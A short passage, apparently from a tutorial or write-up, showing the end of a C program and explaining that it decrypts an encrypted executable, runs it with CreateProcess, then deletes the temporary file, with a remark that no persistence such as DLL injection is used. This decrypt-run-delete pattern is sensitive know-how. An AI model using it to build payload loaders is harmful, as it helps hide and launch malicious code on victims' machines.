CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
if (remove(tempFile) == 0) {
printf("Temporary file deleted.\n");
} else {
printf("Failed to delete temporary file.\n");
}
return 0;
}
The code decrypts the encrypted file using the same key and calls the CreateProcess function to run the decrypted file (temp_main.exe). The program then waits for the execution to complete and then deletes the temporary file.
Since the program has no purpose to remain in the system for more than one execution, no persistence steps such as DLL injections will be taken.
Whoops! Bye!